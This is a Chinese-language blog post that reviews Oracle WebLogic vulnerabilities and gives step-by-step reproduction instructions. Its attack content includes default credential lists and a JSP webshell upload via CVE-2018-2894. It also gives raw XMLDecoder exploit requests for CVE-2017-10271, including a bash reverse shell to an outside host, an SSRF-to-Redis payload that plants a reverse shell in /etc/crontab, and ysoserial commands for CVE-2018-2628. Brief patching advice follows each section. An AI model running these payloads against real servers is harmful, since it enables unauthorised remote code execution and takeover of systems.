<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    WEB安全:Weblogic漏洞總結

    VSole2021-11-21 07:01:56

    0x01 Weblogic簡介

    1.1 敘述

    Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。

    Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(Java EE)應用服務器軟件之一,也是世界上第一個成功商業化的Java EE應用服務器,具有可擴展性、快速開發、靈活、可靠等優勢。

    在功能性上,Weblogic是Java EE的全能應用服務器,包括EJB 、JSP、servlet、JMS等,是商業軟件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java編輯器),因此也是一個綜合的開發及運行環境。

    在擴展性上,Weblogic Server憑借其出色的群集技術,擁有處理關鍵Web應用系統問題所需的性能、可擴展性和高可用性。Weblogic Server既實現了網頁群集,也實現了EJB組件群集,而且不需要任何專門的硬件或操作系統支持。網頁群集可以實現透明的復制、負載平衡以及表示內容容錯。無論是網頁群集,還是組件群集,對于電子商務解決方案所要求的可擴展性和可用性都是至關重要的。

    目前Weblogic在全球的使用量也占居前列,據統計,在全球范圍內對互聯網開放Weblogic服務的資產數量多達35382臺,美國和中國的Weblogic的使用量接近Weblogic總使用量的70%,其中歸屬中國地區的資產數量為10562臺。

    1.2 Weblogic活躍的幾個較新版本

    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.1
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3
    

    Weblogic常用端口:7001

    Weblogic后臺登錄地址:

    輸入 http://your-ip:7001/console 即可進入后臺

    1.3 Weblogic歷史漏洞

    #控制臺路徑泄露 
    Weakpassword 
    
    #SSRF:
    CVE-2014-4210 
    
    #JAVA反序列化:
    CVE-2015-4852 
    CVE-2016-0638 
    CVE-2016-3510 
    CVE-2017-3248 
    CVE-2018-2628 
    CVE-2018-2893 
    
    #任意文件上傳 
    CVE-2018-2894 
    
    #XMLDecoder反序列化:
    CVE-2017-10271 
    CVE-2017-3506
    

    1.4 復現漏洞簡要描述

    #weakpassword:
    
    Weblogic存在管理后臺,通過賬號密碼登錄,由于管理員的疏忽,經常會使用弱口令,或者默認的賬戶名密碼。因此存在弱口令爆破的風險。
    在本環境下模擬了一個真實的weblogic環境,其后臺存在一個弱口令,并且前臺存在任意文件讀取漏洞。分別通過這兩種漏洞,模擬對weblogic場景的滲透。
    #SSRF漏洞(CVE-2014-4210):
    
    Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而可以攻擊內網中redis、fastcgi等脆弱組件。
    #任意文件上傳漏洞(CVE-2018-2894):
    
    Oracle 7月更新中,修復了Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在“生產模式”下默認不開啟,所以該漏洞有一定限制。利用該漏洞,可以上傳任意jsp文件,進而獲取服務器權限。
    #XML Decoder反序列化漏洞(CVE-2017-10271):
    
    Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
    #Java反序列化漏洞(CVE-2018-2628):
    
    Oracle 2018年4月補丁中,修復了Weblogic Server WLS Core Components中出現的一個反序列化漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。
    

    0x02 Weblogic弱口令漏洞

    2.1 后臺登錄地址

    輸入 http://your-ip:7001/console 即可進入后臺

    2.2 Weblogic常見弱口令總結

    system:password		weblogic:weblogic		admin:secruity
    joe:password		mary:password		system:sercurity
    wlcsystem: wlcsystem		weblogic:Oracle@123
    
    https://cirt.net/passwords?criteria=weblogic
    

    0x03 任意文件上傳漏洞(CVE-2018-2894)

    3.1 涉及版本

    10.3.6,12.1.3
    12.2.1.2,12.2.1.3
    

    復現步驟:

    1、進入后臺:

    勾選在base_domain下的“高級”下的“啟用web服務測試頁”這個選項,最后點擊保存

    2、進入未經授權的上傳界面:http://your-ip/ws_utc/config.do

    3、將“通用”下的“當前工作目錄”路徑設置為:

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    

    設置該目錄的目的:

    將目錄設置為ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的

    4、開始上傳木馬:

    進入“安全”,點擊“添加”,點擊“瀏覽…”,選擇你要上傳的jsp木馬,點擊“提交”,成功上傳jsp木馬

    5、按鍵“F12”,選中上傳文件名元素,該標簽下有個id元素(時間戳id,下面會用到),復制它。

    6、上傳木馬的訪問路徑:

    http://your-ip:7001/ws_utc/css/config/keystore/[時間戳id]_[文件名]
    

    3.2 如何防御及修復

    1.設置Config.do頁面登錄授權后訪問;

    2.IPS等防御產品可以加入相應的特征;

    3.升級到官方最新版本

    0x04 XML Decoder反序列化漏洞(CVE-2017-10271)

    4.1 涉及版本

    10.3.6.0,12.1.3.0.0,12.2.1.1.0
    

    4.2 漏洞地址

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    

    4.3 檢測是否存在漏洞

    工具利用 --- XML反序列化漏洞檢查工具
    腳本利用 --- CVE-2017-10271-poc.py
    Burp抓包傳入數據驗證
    

    工具利用 --- XML反序列化漏洞檢查工具

    腳本利用 --- CVE-2017-10271-poc.py

    (1)或者自行檢測頁面是否能夠寫入文件,打開漏洞地址,本次實例為:

    http://your-ip:7001/wls-wsat/CoordinatorPortType
    

    (2)使用Burp抓包,將其轉發到“Repeater”模塊下,將GET變為POST,改成poc數據包,點擊Go按鈕

    POC:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 638
    
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        
        xmlns:work="http://bea.com/2004/06/soap/workarea/">
        version="1.4.0" class="java.beans.XMLDecoder">
        class="java.io.PrintWriter"> 
        servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp
        method="println">
    
        <% out.print("test"); %>
        ]]>
        
        
        method="close"/>
        
        
        
        
    
    
    

    (3)效果頁面:

    訪問地址為:http://your-ip:7001/bea_wls_internal/test.jsp

    4.4 反彈一個shell

    (1)nc監聽本地端口:

    nc -l -p 7089
    

    (2)通過Burp,自行更改數據包,exp改為反彈shell的命令:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: IP:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 640
    
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    xmlns:work="http://bea.com/2004/06/soap/workarea/">
    version="1.4.0" class="java.beans.XMLDecoder">
    class="java.lang.ProcessBuilder">
    class="java.lang.String" length="3">
    index="0">
    /bin/bash
    
    index="1">
    -c
    
    index="2">
    bash -i >& /dev/tcp/192.168.206.132/7089 0>&1
    
    
    method="start"/>
    
    
    
    
    
    

    (3)效果圖:

    4.5 如何防御與修復

    1.臨時解決方案

    根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份后將此組件刪除,當形成防護能力后,再進行恢復。

    根據實際環境路徑,刪除WebLogic wls-wsat組件:

    rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
    rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
    重啟Weblogic域控制器服務:
    DOMAIN_NAME/bin/stopWeblogic.sh           #停止服務
    DOMAIN_NAME/bin/startManagedWebLogic.sh    #啟動服務
    刪除以上文件之后,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/ 是否為404頁面
    

    2.官方補丁修復

    前往Oracle官網下載10月份所提供的安全補丁

    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

    升級過程可參考:

    http://blog.csdn.net/qqlifu/article/details/49423839

    0x05 Weblogic-SSRF漏洞(CVE-2014-4210)

    5.1 簡介

    SSRF(Server-Side Request Forgery),服務端請求偽造,是一種由攻擊者構造形成由服務端發起請求的一個漏洞,一般情況下,SSRF攻擊的目標是從外部網絡無法訪問的內部系統。

    5.2 SSRF危害以及可實現的攻擊行為

    • 主機上本地敏感信息讀取,對外網服務器所在的內網的本地端口進行掃描,獲取服務的Banner信息
    • 攻擊運行在內外網主機的應用程序
    • 通過訪問默認文件對內網Web應用進行指紋識別
    • 攻擊內外網的Web應用,主要是使用GET參數就可以實現攻擊
    • 利用file協議讀取本地文件

    5.3 涉及版本

    10.0.2,	10.3.6
    

    5.4 漏洞地址

    http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
    

    5.5 檢測是否存在漏洞

    使用腳本簡單探測:ssrf-poc_simple.py(基于python3.x)

    手工進行簡單檢測,在漏洞地址處,點擊Search按鈕,返回:“An error has occurred”

    可從漏洞頁面下的Setup UDDI Explorer處發現內網地址

    如果不顯示,可以使用腳本猜測。“ip_detect.py”:python ip_detect.py --url 目標地址(基于python2.x)

    內網地址(可自行按需更改):

    10.0.0.0 ~ 10.255.255.255,
    172.16.0.0 ~ 172.31.255.255 
    192.168.0.0 ~ 192.168.255.255
    

    開始手工進行內網探測,打開漏洞頁面后,通過Search,產生數據包:

    對operator參數進行修改數據:

    觀察現象,根據探測結果進行簡要分析:

    • 主機存活且端口存在
    • 不存在的端口或IP地址
    • 可訪問的端口(且該端口是非http協議)

    5.6 模擬攻擊

    現在模擬內網中存在一臺Redis,我們來對他進行攻擊:

    在前面的探測,我們已經知道了目標系統內網地址存活狀態,并發現了一個6379端口主機,根據經驗,該端口下的服務是Redis數據庫。

    嘗試“利用注入HTTP頭,來讓Redis反彈shell”:

    • Weblogic的SSRF,在使用GET請求時,可以通過“%0a%0d”(\r,換行符),來注入換行符。
    • 某些服務(如Redis)是通過換行符來分隔每條命令
    • 因此可以通過該SSRF攻擊內網中的Redis服務器

    根據已知條件,我們可以對這個頁面的數據包做些手腳:

    (1)將原本POST傳輸的數據,通過GET方式傳輸

    (2)拼接好傳輸的數據后,通過注入換行符,發送三條redis命令,將彈shell腳本寫入/etc/crontab

    Redis反彈shell腳本:

    set 1 "* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1"
    config set dir /etc/
    config set dbfilename crontab
    save
    

    進行url編碼:

    test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
    

    (3)在本地進行端口監聽,同時發送編碼后的payload:

    nc -l -p 7089
    

    (4)成功執行:

    5.7 如何防御與修復

    1.如果業務不需要UDDI功能,就關閉這個功能。可以刪除uddiexporer文件夾,可以可在/weblogicPath/server/lib/uddiexplorer.war解壓后,注釋掉上面的jsp再打包。

    2.安裝oracle的更新包。

    http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

    0x06 Java反序列化漏洞(CVE-2018-2628)

    6.1 Java序列化與Java反序列化

    簡介:

    Java序列化:即把Java對象轉換為字節序列的過程

    Java反序列化:是指把字節序列恢復為Java對象的過程

    作用:

    序列化與反序列化目的是為了讓Java對象脫離Java運行環境的一種手段,可以有效的實現多平臺之間的通信,對象持久化存儲。

    6.2 Java反序列化漏洞成因

    在上述情況中所說的轉換過程中,出現了漏洞,加之暴露或間接暴露出可反序列化的API,導致用戶可以操作,并傳入數據,或精心構造惡意代碼。

    6.3 相關歷史漏洞簡介

    #CVE-2015-4852 
    Weblogic 直接反序列化 
    是基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 
    #CVE-2016-0638 
    Weblogic 直接反序列化 
    基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 漏洞實為CVE-2015-4852繞過 拜Oracle一直以來的黑名單修復方式所賜 
    #CVE-2016-3510 
    基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 
    #CVE-2017-3248 
    基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬于Weblogic JRMP反序列化 
    #CVE-2018-2628 
    基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬于 Weblogic JRMP反序列化 
    #CVE-2018-2893 
    基于Weblogic t3協議引起遠程代碼執行的反序列化漏洞 實為CVE-2018-2628繞過 同樣拜Oracle一直以來的黑名單修復方式所賜 屬于Weblogic JRMP反序列化
    

    6.4 涉及版本

    10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
    

    6.5 漏洞復現

    1.使用“nmap”探測目標信息,是否存在T3協議信息:

    nmap –n –v –p 7001 目標地址  --script=weblogic-t3-info
    

    2.使用python腳本進行探測,是否存在漏洞(在Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0號中,基于python2.x版本)

    python weblogic_poc.py 目標地址
    

    3.根據前面探測的信息,我們發現目標存在Java反序列化漏洞,來讓我們進一步攻擊它吧,我們需要使用到“ysoserial”

    4.首先使用ysoserial在攻擊機上啟動一個 JRMP server,輸入以下命令:

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
    
    [listen port]:攻擊機要監聽的端口
    [command]:想要執行的命令
    

    5.開始使用44553.py腳本來向目標發送數據包(基于python2.x)

    python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
    
    [victim ip]:目標weblogic的IP
    [victim port]:目標weblogic的端口
    [path to ysoserial] :ysoserial的路徑
    [JRMPListener ip] :第一步中啟動JRMP Server的IP地址
     [JRMPListener port] :第一步中啟動JRMP Server的I端口地址
    [JRMPClient]:執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2
    

    6.6 如何防御與修復

    參考鏈接:

    http://www.talkwithtrend.com/Article/178555

    0x07 參考鏈接

    http://www.talkwithtrend.com/Article/178555
    http://www.storysec.com/kali-linux-install-docker.html
    https://github.com/Medicean/VulApps
    https://www.kingkk.com/2018/09/weblogic%E6%BC%8F%E6%B4%9E%E7%BB%83%E4%B9%A0/
    https://xz.aliyun.com/t/140
    https://www.jianshu.com/p/08710cfde0f0
    https://www.secpulse.com/archives/38967.html
    https://github.com/rabbitmask/WeblogicScan
    http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html
    https://www.jianshu.com/p/42a3bb2b2c2c
    https://github.com/k8gege/K8tools
    
    weblogicssrf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近在網上看到有大佬公布了一個有意思的 Weblogic SSRF ,本質上其實是 Oracle JDBC Driver 中的類在反序列化操作時會自動發送 JDBC 連接,結合 Weblogic T3 反序列化操作就可以實現 SSRF
    漏洞描述 Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。 CVE編號:CVE-2014-4210 影響范圍: ?Oracle WebLogic Server 10.3.6.0 ?Oracle WebLogic Server 10.0.2.0 環境搭建
    后續經過掃描探測發現T3、IIOP協議同時關閉了,僅限HTTP訪問。需要用戶名密碼,打補丁后,可以判斷用戶名密碼是否存在,但是無法上傳文件成功。
    本篇文章是WebLogic中間件漏洞復現,記錄了近幾年來爆出的WebLogic中間件漏洞主要分為六個部分:WebLogic簡介、WebLogic安裝、WebLogic漏洞復現、WebLogic SSRF聯動Redis、WebLogic實戰和WebLogic防御措施。
    Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。 Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(J
    F-vuln(全稱:Find-Vulnerability)是為了自己工作方便專門編寫的一款自動化工具,主要適用于日常安全服務、滲透測試人員和RedTeam紅隊人員,它集合的功能包括:存活IP探測、開放端口探測、web服務探測、web漏洞掃描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他數據庫爆破工作以及大量web漏洞檢測模塊。
    VulmapVulmap是一款功能強大的Web漏洞掃描和驗證工具,該工具可以對Web容器、Web服務器、Web中間件以及CMS等Web程序進行漏洞掃描,并且具備漏洞利用功能。廣大安全研究人員可以使用Vulmap檢測目標是否存在特定漏洞,并且可以使用漏洞利用功能驗證漏洞是否真實存在。工具安裝首先,我們需要在本地系統中安裝并配置好Python 3環境,我們推薦使用Python 3.7或更高版本。
    避免網站顯示SQL錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类